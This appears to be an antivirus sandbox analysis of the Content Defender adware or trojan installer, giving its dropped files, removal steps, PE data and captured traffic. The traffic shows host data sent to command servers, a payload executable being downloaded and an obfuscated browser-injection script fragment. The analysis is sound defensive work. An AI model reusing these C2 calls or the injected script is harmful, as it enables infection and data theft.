   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\ssleay32.dll (4861 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\smime3.dll (941 bytes)
   %Program Files%\Content Defender\nss\certutil.exe (601 bytes)
   %Program Files%\Content Defender\nss\plc4.dll (20 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\nss3.dll (24908 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\ContentDefenderPS.dll (13 bytes)
   %Program Files%\Content Defender\ConDefSetup.exe (41656 bytes)
   %Program Files%\Content Defender\condefclean.exe (601 bytes)
   %Program Files%\Content Defender\import_root_cert.exe (601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\cd.exe (5381 bytes)
   %Documents and Settings%\All Users\Start Menu\Programs\Content Defender\Settings.lnk (804 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\wfp_windows7_amd64.sys (56 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\nspr4.dll (1821 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\nss3.dll (4061 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\plc4.dll (580 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nfregdrv.exe (1821 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows8_i386.sys (3516 bytes)
   %Program Files%\Content Defender\nss\nss3.dll (2105 bytes)
   %Program Files%\Content Defender\ContentDefenderControl.exe (673 bytes)
   %Program Files%\Content Defender\cd.exe (3073 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf5.tmp (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nse4.tmp\inetc.dll (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp (19809 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\E1845D56-14DB-4B2A-A5F0-ECB5172B0CDF\condefsetup (19).exe (39950 bytes)
   C:\libeay32.dll (6341 bytes)
   C:\ssleay32.dll (1821 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\5ADA6C69-ADAD-4CA0-85A0-95093894E0BC\ASIns.exe (1794 bytes)
   %Program Files%\Content Defender\cert\SSL\ContentDefender 2.cer (774 bytes)
   %Program Files%\Content Defender\cert\SSL\cert.db (2 bytes)

4. Restore the original content of the HOSTS file (%System%\drivers\etc\hosts): 127.0.0.1 localhost
   
5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
CODE	4096	2315320	2315776	4.52632	49e1beffae1dbf3a92491c953736b14d
DATA	2322432	82808	82944	4.07344	511fcb6f7e9abe69e13925ce76e66404
BSS	2408448	31125	0	0	d41d8cd98f00b204e9800998ecf8427e
.idata	2441216	11118	11264	3.40971	1aae32d8d8266bf393e4551b9e436bfe
.tls	2453504	468	0	0	d41d8cd98f00b204e9800998ecf8427e
.rdata	2457600	24	512	0.146134	d5c346e252b52c98eaacac21d6005063
.reloc	2461696	130884	131072	4.63935	219161c985a6751e72461ce37ed4ffe2
.rsrc	2592768	1722015	1722368	4.71572	f96888bc9b62ed4e5980c7c8cc858e92

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 431
081500c4436595b5306a89ef2344ced3
77c6cb6a3055257de727571393158e49
0a1daed8f4a5144569e2e99821d1da75
f350514d3e6181291e55fcfe394f4630
2a0eae42b9697b4ce5163e93196df290
6cef0e30bcb70b6df0acfa864e09bc2f
f5d6736d2dbbcc84f3d3e6e074dd1e78
15f3e67e9e961359e243bd324599ce76
590082e0df2d44f8cb0e01e65977f339
6000cc44dc81026b3f7dfdd86b9ff3da
37476bbf6346a41d96d592200d9160a4
000143c046833c7e1f051c74dac56902
b51a6c9ebbf9ab48e33aa8cffc741518
637455dfd2114c0cb5209e1547326a62
7b81127e4575f69b848e0547bbd7c70d
393653210e0a971a07573a8d7b3494e8
2641c25493c08cf553e6833e03ee9966
3b67f2148c8bbf215c987dab1a65bbc2
3e18621f6b0df9468c62696ddf87a11c
fb13aaaf52edfcd97cb1517f849cc5c3
dcdb334fdfd3106a09d33f2862b64b27
7f20d2119f61a54dcf78b29b7bc7ee02
c60742b460a00b07bdc54b8f5e8b1017
dc07ca54f3682551e1a0d00368401663
58afebbb6f4ac33a018bb8903a1758d0
3f61a508ff401552057d391b04d95f70

Network Activity

URLs

URL	IP
hxxp://y9807akgtzcrolb.nidetafzy.ru/api
hxxp://y9807akgtzcrolb.nidetafzy.ru/installs/1407/be5784b4.exe
hxxp://contentdefender-cis1.org/install/start/sourceid/106/campaignid/1/userid/1B080E9B-0479-4BC4-8393-BBCD715DE96E/siteid/200075929/version/118
hxxp://contentdefender-cis1.org/install/finish/result/ok/sourceid/106/campaignid/1/userid/1B080E9B-0479-4BC4-8393-BBCD715DE96E/siteid/200075929/version/118
hxxp://contentdefender-cis1.org/data/get/sourceid/106/campaignid/1/userid/1B080E9B-0479-4BC4-8393-BBCD715DE96E/siteid/200075929/version/118
s3.amazonaws.com	54.231.114.92

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /install/start/sourceid/106/campaignid/1/userid/1B080E9B-0479-4BC4-8393-BBCD715DE96E/siteid/200075929/version/118 HTTP/1.1

Accept: text/*

Content-Type: application/x-www-form-urlencoded; charset=utf8

User-Agent: ContentDefender

Host: contentdefender-cis1.org

Content-Length: 1624

Cache-Control: no-cache

data={"os":"Windows 5.1 32 bit","processlist":["[system process]","system","smss.exe","csrss.exe","winlogon.exe","services.exe","lsass.exe","vmacthlp.exe","svchost.exe","svchost.exe","svchost.exe","svchost.exe","svchost.exe","spoolsv.exe","jqs.exe","vmtoolsd.exe","alg.exe","explorer.exe","vmwaretray.exe","vmtoolsd.exe","sandbox_svc.exe","cmd.exe","tshark.exe","cmd.exe","procmon.exe","wmiprvse.exe","1eea3cd18afe3e560233e1b505c52625.exe","condefsetup (19).exe"],"programlist":["Adobe Flash Player 11 ActiveX","Update for Windows XP (KB898461)","Microsoft .NET Framework 3.5","Microsoft .NET Framework 4 Client Profile","Total Commander (Remove or Repair)","WinPcap 4.0.1","Wireshark 0.99.6a","XML Paper Specification Shared Components Pack 1.0","Microsoft Visual C++ 2008 Redistributable - x

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 19 Dec 2015 11:33:57 GMT

Content-Type: application/json

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.41-0 deb7u1

2f..{"GUID":"1B080E9B-0479-4BC4-8393-BBCD715DE96E"}..0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 19 Dec 2015 11:33:57 GMT..Content-Type: application/json..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.4.41-0 deb7u1..2f..{"GUID":"1B080E9B-0479-4BC4-8393-BBCD715DE96E"}..0..

POST /api HTTP/1.0

Connection: keep-alive

Content-Length: 843

Host: y9807akgtzcrolb.nidetafzy.ru

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

....x.}Tmo.8. .?uXlH...... p/=.M. 0.l..V..I..`..?.qr.p...|D..)....(2Q..e[.^..2 .Td...Rp. ....V?.1ZE,ZD*.

..U.<.Ny.U.@J)].2-..[.H.....{.[....,..p

'<.iZ..c..." XN..'..#.......S.G{....^.).....r...(.h.J.`.....*]D6.bn.d..b.I[...}[DZ./S.....98..=j^u...VY...u...a.wi.....~[D.558...~.L...~C7. ..a.l!..h.e.*Ny.S.....fR..R.5..Y.f...6......r........g...........vTH..vWO7...x..zg...sN. n'....X....U............4...k.r.v..`G...U.y?........|o.Z.Q9Z..cKL.~P.5........(..'.(.....uc.y^_).m......_..........l'.9...e.J.{...Y..Gy.}.@..{h.........VaT..[....mL...d.sS&Y..r..r{......G.@.F9oU....@br,...$...Lr.....W#..j..$..

.E....5.sZ.v...........Z...e...<....k,......_.....(.\..h.5>.b.....o..3#.ty.A*...y]......t.S;...e"$b.....x.f.Z.s...A."..2...po`..{9..lB.7.......v.&f1.S.."..l)..Y)hN.R..2..y.".aU..aw.......Q..e.E.Na....U..<.4/.]C....K.j6mU.Y...._.s..

HTTP/1.1 200 OK

Server: nginx/1.4.2

Date: Sat, 19 Dec 2015 11:33:15 GMT

Content-Type: text/html; charset=utf-8

Connection: close

X-Powered-By: PHP/5.4.17

b...x..X[o.H.. ..J.*._...d.....l.@......c..l4.........@..j.e..g.w...b[.vM.;.3.,pL.....\f..........<....)W.T.D...'...0.m..".....A..4/....qc.E.3.O.Ds._1.....L...8n..,.@...c..A.Z @..gC!&g.I.3....0.O.OG~#.C.,z.5xN....6. ...r\...|....G."~.N:fq....Q.x.....A...e ...Z...g.........ND.&hO.F..y.g...Js...z?.>...q2..RX.....B...........)|..[^<.Q^.......R0.T..s...1.b$z9..hj..J.j./GWZ)..H.H...P:..:. .=.W..&..)..D...%.bI... .-S....]F.....!.Uh.|@...8..Q?..?IGq0k..xD....Z....$E....;..l.....6.I>....%.@^...&;W...u.8./rJ..!.2%...a..4..<.S.6..x.U...,.1G..f.(..#(%......~.e.V..bN.UX$?>..E=...|1..W...N..~E)...l.DZ.k..E..........a...m.?|.tMi..].k......e...o:;.{.q..:..I....t..wny:.8..=..g.e/..0..6&.a..GV....t...V.Jx.zt0/7D.....!.HL..J.cl..>R.5N.t.!l.9.~...[*..I.K.{.....]5eM..8.TY...{d.&.c...J.._0C....\........g..&...7...t...r......$..E.....M....c.............2lg.W......R.-.....$...b.. !.....1._....O.n..[L.W.J.x.m.uay..e.....S..CN].v\.q.........5[K.....o......D.m...]M...0.7.....g..R..d...`c..&l.!...f...l...<D..Yv.D)m..Xn...d. ...GT.p..|h.<...7w\...I.|.%..8..Nf].s)D.]|s.S.@AY2.P.*.&<~dk\.......]..V{<..Ri<!.....bKo..,6\J[..[......y%.~i\.@9.r0....8.l..'.6...o.....`\.o0l]]..;(oQ......"C.^v_nn...(..Y..G61...M.[k.. _v.J.._..X..........v..0.....g..Z.D.@...."..a..?...?...v.Y...i........|h........zeW{.V..........HL.......w....g:.6.*.0[....i..y.hs..p6.|..Y.....K|*{..?7t...v4.._......l..[.....d[..^.*. {C...:....Li...6*.U=.....Uz..

<<< skipped >>>

GET /data/get/sourceid/106/campaignid/1/userid/1B080E9B-0479-4BC4-8393-BBCD715DE96E/siteid/200075929/version/118 HTTP/1.0

User-Agent: ContentDefender

Host: contentdefender-cis1.org

Pragma: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 19 Dec 2015 11:34:13 GMT

Content-Type: application/json

Connection: close

X-Powered-By: PHP/5.4.41-0 deb7u1

{"GUID":"1B080E9B-0479-4BC4-8393-BBCD715DE96E","https":["vk.com","ya.ru","flashinfonaut.com","odnoklassniki.ru","youtube.com","facebook.com","ask.fm","mail.ru","doubleclick.net","rollapp.com","mscimg.com","edgecastcdn.net","yandex.ru","superfish.com","kismia.com","yandex.st","mediaplex.com","betfair.com","rambler.ru","rightsurf.info","pluginplus.net","metabar.ru","game-insight.com","znanija.com","avito.ru","rambler.su","wikipedia.org","sinoptik.ua","ukr.net","forumhouse.ru","yandex.ua","ok.ru","twitter.com","google.com","dobrofiles.ru","cssstyle.info","utanol.ru","q-searcher-v3.biz","q-search-sng.org","quick-ru-searcher.com","quick-cis-searcher.com","quick-searcher.org","quick-searcher-sng.org","quick-searcher-sng-v2.com","quick-searcher-v2.org","quick-searcher-sng-v2.biz","avd-adv-3.com","advex01.ru","screentoolkit.com","engowe.com","quick-searcher-world.biz","q-searcher-v3.biz"],"processlist":["iexplore.exe","firefox.exe","chrome.exe","browser.exe","chromium.exe","nichrome.exe","dragon.exe","torch.exe","opera.exe","lynx.exe","microsoftedgecp.exe","microsoftedge.exe","kometa.exe","crossbrowse.exe"],"js":"<script>!function(){var t=JSON.parse('[\"666c77797a33676f2e7275\",\"3367346d77776f6f6b74353863742e7275\"]'),e=\"21678\",o=function(t){t=t.match(\/[\\S\\s]{1,2}\/g);for(var e=\"\",o=0;o<t.length;o )e =String.fromCharCode(parseInt(t[o],16));return e},n=function(t,e,o){var n=document.location.protocol \"\/\/\" t;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf(\"firefox\"))window.smlo.loadS

<<< skipped >>>

POST /api HTTP/1.0

Connection: keep-alive

Content-Length: 156

Host: y9807akgtzcrolb.nidetafzy.ru

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

....x.-.K..@C.2k...g..I*U.@. !..I. ? .]P.z.O0!.

f$k.M...)F......0...a..8\\.m.7....4.

t..b..9..D,$....d/O"%..Z...=....Z....m./......9.FLR...FU.hb.../..5,

HTTP/1.1 200 OK

Server: nginx/1.4.2

Date: Sat, 19 Dec 2015 11:33:57 GMT

Content-Type: text/html; charset=utf-8

Connection: close

X-Powered-By: PHP/5.4.17

7...x...... ...^.@.....og.f.{vY..&Q.Y..........<..:#.^8............

GET /installs/1407/be5784b4.exe HTTP/1.1

Host: y9807akgtzcrolb.nidetafzy.ru

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Server: nginx/1.4.2

Date: Sat, 19 Dec 2015 11:33:45 GMT

Content-Type: application/octet-stream

Content-Length: 5653424

Connection: keep-alive

Last-Modified: Fri, 11 Dec 2015 21:11:49 GMT

ETag: "566b3c15-5643b0"

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g$.e#E.6#E.6#E.6..j65E.6..U6\E.6..T6.E.6e.T6%E.6*=66'E.6*=&66E.6#E.6.E.6..T6&E.6..n6"E.6#E"6"E.6..k6"E.6Rich#E.6........PE..L.....kV..........................................@...................................V...@.................................do..........0.............V.........T...................................8Z..@............................................text...i........................... ..`.rdata..@...........................@..@.data....A...........p..............@....rsrc...0...........................@..@.reloc..T........ ...N..............@..B........................................................................................................................................................................................................................................................................................................................................U.....B..C...h..A..E......].....U.....B..C...h..A..%......].....U.....B..C...h..A.........].....U..j....B......]................U..j....B..q...]................U..j....B..Q...]................U..j....B..1...]................U..Q3..E...]....U..j.h..A.d.....P.@.B.3.P.E.d.....h..A..h.B.......E.....h..A....B.......E..h..A....B.......E..h..A....B.......E..hP.A....B.......E.....h..A..........M.d......Y..]..............U..h..A..<.B..^...h..A.........]................U..h`.A..\.B......h..A..p......].............

<<< skipped >>>

POST /api HTTP/1.0

Connection: keep-alive

Content-Length: 249

Host: y9807akgtzcrolb.nidetafzy.ru

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

....x.U.MN.1...u...q...(.{.*lh..B.;..h.....G..kb.@.X.$ .^

....i.k...5L!.C8..\|.....\o'.rdD..9..p.....I.....K.N.[.X...?.).$..B..Dy .!..` .2..0.#.Hu..\.&.u.x$.........}.\.....7...rs....ijI.

....$H...C..[.n..a..K_Pe%....L.;..!5.T[...m......Q.....t0

HTTP/1.1 200 OK

Server: nginx/1.4.2

Date: Sat, 19 Dec 2015 11:33:15 GMT

Content-Type: text/html; charset=utf-8

Connection: close

X-Powered-By: PHP/5.4.17

7...x...... ...].........M.m..;1.sX$.........t.......?...)...o..>..

POST /api HTTP/1.0

Connection: keep-alive

Content-Length: 838

Host: y9807akgtzcrolb.nidetafzy.ru

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

....x.}Tmo.8. .........[..J......VZ.V.L.6....T...s.fN ....'.....x.x..r..mS.EY.".U.Wm....hi...m..s.h....

=.G.r..5 ...A,..8...Dt

.0${.`p...:........:.8?.m.w.c...%..].$.....7.QN#/.9...P.6.{.!.&..$..N....o.a....o.@..y....n.....Qs...b.MS.......s.I...dx..&.k...?.._......n.@.uC.r.B..$M.VY..Y..,.#..P..T..Y...U.......?.9.( .F..^..f..T.......3K$vV.....Vv>ks.i.V.../...yY....:5^T.#..?.....#^W. .../.....laQ...sc.|.R....{;)uBm...'...^b......Y..'k..n........a..PF./P...X...0$..5...F.}~ .F.p...`w...nd'..B..N...w1.........F8 .x/.#7J....lqL......{.NJ....%....P...G..V.a#.3..........~q..yRF.2...vr...Ep.x..O~....}.&......^.2...J....xE....=Ox...jC....q.. W.|*..q..M........G..{...].a..x#t..b$S..n`.N.Ge.q.......#...P.v...G;h.....v})\#.S. ....o.f..v.......4.....`,IsN...<fqQr....,KQ.c.9.._e]....7?...\.5e.lZ.)M...4.]Q%Y[.m..j...C_.e...&.....Y..

HTTP/1.1 200 OK

Server: nginx/1.4.2

Date: Sat, 19 Dec 2015 11:33:15 GMT

Content-Type: text/html; charset=utf-8

Connection: close

X-Powered-By: PHP/5.4.17

b...x..X.o.8..W.T..SK......W...u...}8O.$.D%.r.2V....$.C.....q...=.......,.?.]...(r..9....v.b8n.[....'.2.3.TU..2.`.Y......15L.X.....~...c..<.) T8m ...|:.p6..NF#.`S8$....a..1.....a#..9..b.kGG.......#.5.....X.S..P...w.'I.H.O~.N..$.$.72.dD3...0."....c....i..9.i....^>.I...1.....?.5b......^8|..gI6.."lT..........."P...S.*.6.x$..>d.S%.F..4.*...\......j4.h...I.z._...R.E.r.g.f\....s..........hI.j...fK...ra#H9#...../b..VX..5*.r6...,-zy. .....$...<.a.b!....Z..........l.....1.H>.w..-.@^...F....X..F.yN.i...B).N..../1.%.L.I:&. .UC)...TLuG.....JDD..z...Z.g.K.$uSt"..I.......|.O..ww.v...c.........*.E.......XHft.@..d............. .......o;[...y..&..Y.......w.X>.@..=..g.e'.{?...d.~........t.....Ix.jtt]_..g..{..c>!.b|..,/....I....`K.......S1...\..Q..p..eSVTq..M.ek?.G.hB.....2.......E0....t.a.....3..v7...sw.vK.w....,...p...y.Jk.c../.$1.(a.....2.w.WW.....R..._..6$...B...#H.tgu,..;...C;...1..;.?..c.}i.'.m;'.......N<.q=.u.........5.K..n..o......D.c...mM.....7.....7.C.eQ...j....32)...X...R.I.....L..,.......DqA%.............{...o..`]H.6.%..l"EJ;....J...........lZ.*u..Y.HV...fY[. {._.......x...h.5..../hl....7.b.5..S.*^...&.r..`..a.q......Md.......ON...px~}...ByE.8..&....z.}...[...%gB...cJ.C.v.h.. _v.Z.._..X.........M{.....5.2.G.s...k...6.Nk9.vq....?.Z.......t...=M{\*|.....p1"K.......g....3.LZp}..!u...I....bm@3....#.*D..c......o.\.....R...~..Q!..*:........w...O`..5..8h........`....X.B.....E.n..@.< }..?.uO...

<<< skipped >>>

POST /install/finish/result/ok/sourceid/106/campaignid/1/userid/1B080E9B-0479-4BC4-8393-BBCD715DE96E/siteid/200075929/version/118 HTTP/1.1

Accept: text/*

Content-Type: application/x-www-form-urlencoded; charset=utf8

User-Agent: ContentDefender

Host: contentdefender-cis1.org

Content-Length: 1668

Cache-Control: no-cache

data={"os":"Windows 5.1 32 bit","processlist":["[system process]","system","smss.exe","csrss.exe","winlogon.exe","services.exe","lsass.exe","vmacthlp.exe","svchost.exe","svchost.exe","svchost.exe","svchost.exe","svchost.exe","spoolsv.exe","jqs.exe","vmtoolsd.exe","alg.exe","explorer.exe","vmwaretray.exe","vmtoolsd.exe","sandbox_svc.exe","cmd.exe","tshark.exe","cmd.exe","procmon.exe","wmiprvse.exe","1eea3cd18afe3e560233e1b505c52625.exe","condefsetup (19).exe","cd.exe"],"programlist":["Adobe Flash Player 11 ActiveX","Content Defender","Update for Windows XP (KB898461)","Microsoft .NET Framework 3.5","Microsoft .NET Framework 4 Client Profile","Total Commander (Remove or Repair)","WinPcap 4.0.1","Wireshark 0.99.6a","XML Paper Specification Shared Components Pack 1.0","Microsof

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 19 Dec 2015 11:34:10 GMT

Content-Type: application/json

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.41-0 deb7u1

2f..{"GUID":"1B080E9B-0479-4BC4-8393-BBCD715DE96E"}..0..

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_928_rwx_02401000_00048000:

RWj%Sj

RWj%Sj

H%x@C

H%x@C

SSLv2 part of OpenSSL 1.0.1g 7 Apr 2014

SSLv2 part of OpenSSL 1.0.1g 7 Apr 2014

s->session->master_key_length >= 0 && s->session->master_key_length session->master_key)

s->session->master_key_length >= 0 && s->session->master_key_length session->master_key)

c->iv_len session->key_arg)

c->iv_len session->key_arg)

s->s2->key_material_length s2->key_material

s->s2->key_material_length s2->key_material

GOST signature length is %d

GOST signature length is %d

SSLv3 part of OpenSSL 1.0.1g 7 Apr 2014

SSLv3 part of OpenSSL 1.0.1g 7 Apr 2014

TLSv1 part of OpenSSL 1.0.1g 7 Apr 2014

TLSv1 part of OpenSSL 1.0.1g 7 Apr 2014

key expansion

key expansion

client write key

client write key

server write key

server write key

%s:%d: rec->data != rec->input

%s:%d: rec->data != rec->input

DTLSv1 part of OpenSSL 1.0.1g 7 Apr 2014

DTLSv1 part of OpenSSL 1.0.1g 7 Apr 2014

((long)msg_hdr->msg_len) > 0

((long)msg_hdr->msg_len) > 0

invalid state reached %s:%d

invalid state reached %s:%d

s->d1->w_msg_hdr.msg_len DTLS1_HM_HEADER_LENGTH == (unsigned int)s->init_num

s->d1->w_msg_hdr.msg_len DTLS1_HM_HEADER_LENGTH == (unsigned int)s->init_num

s->d1->w_msg_hdr.msg_len ((s->version==DTLS1_VERSION)?DTLS1_CCS_HEADER_LENGTH:3) == (unsigned int)s->init_num

s->d1->w_msg_hdr.msg_len ((s->version==DTLS1_VERSION)?DTLS1_CCS_HEADER_LENGTH:3) == (unsigned int)s->init_num

s->init_num == (int)s->d1->w_msg_hdr.msg_len DTLS1_HM_HEADER_LENGTH

s->init_num == (int)s->d1->w_msg_hdr.msg_len DTLS1_HM_HEADER_LENGTH

retransmit: message %d non-existant

retransmit: message %d non-existant

OpenSSL 1.0.1g 7 Apr 2014

OpenSSL 1.0.1g 7 Apr 2014

.\ssl\ssl_cert.c

.\ssl\ssl_cert.c

%s/%s

%s/%s

%-23s %s Kx=%-8s Au=%-4s Enc=%-9s Mac=%-4s%s

%-23s %s Kx=%-8s Au=%-4s Enc=%-9s Mac=%-4s%s

EXPORT56

EXPORT56

EXPORT40

EXPORT40

EXPORT

EXPORT

export

export

SSLv3 read certificate verify B

SSLv3 read certificate verify B

SSLv3 read certificate verify A

SSLv3 read certificate verify A

SSLv3 read client key exchange B

SSLv3 read client key exchange B

SSLv3 read client key exchange A

SSLv3 read client key exchange A

SSLv3 read client certificate B

SSLv3 read client certificate B

SSLv3 read client certificate A

SSLv3 read client certificate A

SSLv3 write certificate request B

SSLv3 write certificate request B

SSLv3 write certificate request A

SSLv3 write certificate request A

SSLv3 write key exchange B

SSLv3 write key exchange B

SSLv3 write key exchange A

SSLv3 write key exchange A

SSLv3 write certificate B

SSLv3 write certificate B

SSLv3 write certificate A

SSLv3 write certificate A

SSLv2 X509 read server certificate

SSLv2 X509 read server certificate

SSLv2 write request certificate D

SSLv2 write request certificate D

SSLv2 write request certificate C

SSLv2 write request certificate C

SSLv2 write request certificate B

SSLv2 write request certificate B

SSLv2 write request certificate A

SSLv2 write request certificate A

SSLv2 read client master key B

SSLv2 read client master key B

SSLv2 read client master key A

SSLv2 read client master key A

SSLv3 write certificate verify B

SSLv3 write certificate verify B

SSLv3 write certificate verify A

SSLv3 write certificate verify A

SSLv3 write client key exchange B

SSLv3 write client key exchange B

SSLv3 write client key exchange A

SSLv3 write client key exchange A

SSLv3 write client certificate D

SSLv3 write client certificate D

SSLv3 write client certificate C

SSLv3 write client certificate C

SSLv3 write client certificate B

SSLv3 write client certificate B

SSLv3 write client certificate A

SSLv3 write client certificate A

SSLv3 read server certificate request B

SSLv3 read server certificate request B

SSLv3 read server certificate request A

SSLv3 read server certificate request A

SSLv3 read server key exchange B

SSLv3 read server key exchange B

SSLv3 read server key exchange A

SSLv3 read server key exchange A

SSLv3 read server certificate B

SSLv3 read server certificate B

SSLv3 read server certificate A

SSLv3 read server certificate A

SSLv2 X509 read client certificate

SSLv2 X509 read client certificate

SSLv2 write client certificate D

SSLv2 write client certificate D

SSLv2 write client certificate C

SSLv2 write client certificate C

SSLv2 write client certificate B

SSLv2 write client certificate B

SSLv2 write client certificate A

SSLv2 write client certificate A

SSLv2 write client master key B

SSLv2 write client master key B

SSLv2 write client master key A

SSLv2 write client master key A

2SSH_B

2SSH_B

2SSH_A

2SSH_A

bad certificate hash value

bad certificate hash value

bad certificate status response

bad certificate status response

certificate unobtainable

certificate unobtainable

unsupported extension

unsupported extension

export restriction

export restriction

certificate unknown

certificate unknown

certificate expired

certificate expired

certificate revoked

certificate revoked

unsupported certificate

unsupported certificate

bad certificate

bad certificate

no certificate

no certificate

os.length session_id)

os.length session_id)

%ld (%s)

%ld (%s)

Compression: %d (%s)

Compression: %d (%s)

Compression: %d

Compression: %d

Key-Arg :

Key-Arg :

Master-Key:

Master-Key:

Cipher : %s

Cipher : %s

Protocol : %s

Protocol : %s

wrong number of key bits

wrong number of key bits

unsupported status type

unsupported status type

unsupported ssl version

unsupported ssl version

unsupported protocol

unsupported protocol

unsupported elliptic curve

unsupported elliptic curve

unsupported digest type

unsupported digest type

unsupported compression algorithm

unsupported compression algorithm

unsupported cipher

unsupported cipher

unknown pkey type

unknown pkey type

unknown key exchange type

unknown key exchange type

unknown certificate type

unknown certificate type

unable to find public key parameters

unable to find public key parameters

unable to extract public key

unable to extract public key

unable to decode ecdh certs

unable to decode ecdh certs

unable to decode dh certs

unable to decode dh certs

tried to use unsupported cipher

tried to use unsupported cipher

tls peer did not respond with certificate list

tls peer did not respond with certificate list

tls illegal exporter label

tls illegal exporter label

tls client cert req with anon cipher

tls client cert req with anon cipher

tlsv1 unsupported extension

tlsv1 unsupported extension

tlsv1 certificate unobtainable

tlsv1 certificate unobtainable

tlsv1 bad certificate status response

tlsv1 bad certificate status response

tlsv1 bad certificate hash value

tlsv1 bad certificate hash value

tlsv1 alert export restriction

tlsv1 alert export restriction

sslv3 alert unsupported certificate

sslv3 alert unsupported certificate

sslv3 alert no certificate

sslv3 alert no certificate

sslv3 alert certificate unknown

sslv3 alert certificate unknown

sslv3 alert certificate revoked

sslv3 alert certificate revoked

sslv3 alert certificate expired

sslv3 alert certificate expired

sslv3 alert bad certificate

sslv3 alert bad certificate

signature for non signing certificate

signature for non signing certificate

reuse cert type not zero

reuse cert type not zero

reuse cert length not zero

reuse cert length not zero

public key not rsa

public key not rsa

public key is not rsa

public key is not rsa

public key encrypt error

public key encrypt error

peer error unsupported certificate type

peer error unsupported certificate type

peer error no certificate

peer error no certificate

peer error certificate

peer error certificate

peer did not return a certificate

peer did not return a certificate

null ssl method passed

null ssl method passed

no publickey

no publickey

no private key assigned

no private key assigned

no privatekey

no privatekey

Peer haven't sent GOST certificate, required for selected ciphersuite

Peer haven't sent GOST certificate, required for selected ciphersuite

no client cert received

no client cert received

no client cert method

no client cert method

no ciphers passed

no ciphers passed

no certificate specified

no certificate specified

no certificate set

no certificate set

no certificate returned

no certificate returned

no certificate assigned

no certificate assigned

no certificates returned

no certificates returned

missing tmp rsa pkey

missing tmp rsa pkey

missing tmp rsa key

missing tmp rsa key

missing tmp ecdh key

missing tmp ecdh key

missing tmp dh key

missing tmp dh key

missing rsa signing cert

missing rsa signing cert

missing rsa encrypting cert

missing rsa encrypting cert

missing rsa certificate

missing rsa certificate

missing export tmp rsa key

missing export tmp rsa key

missing export tmp dh key

missing export tmp dh key

missing dsa signing cert

missing dsa signing cert

missing dh rsa cert

missing dh rsa cert

missing dh key

missing dh key

missing dh dsa cert

missing dh dsa cert

krb5 server rd_req (keytab perms?)

krb5 server rd_req (keytab perms?)

key arg too long

key arg too long

invalid ticket keys length

invalid ticket keys length

http request

http request

https proxy request

https proxy request

error generating tmp rsa key

error generating tmp rsa key

ecc cert should have sha1 signature

ecc cert should have sha1 signature

ecc cert should have rsa signature

ecc cert should have rsa signature

ecc cert not for signing

ecc cert not for signing

ecc cert not for key agreement

ecc cert not for key agreement

cert length mismatch

cert length mismatch

certificate verify failed

certificate verify failed

bad ecc cert

bad ecc cert

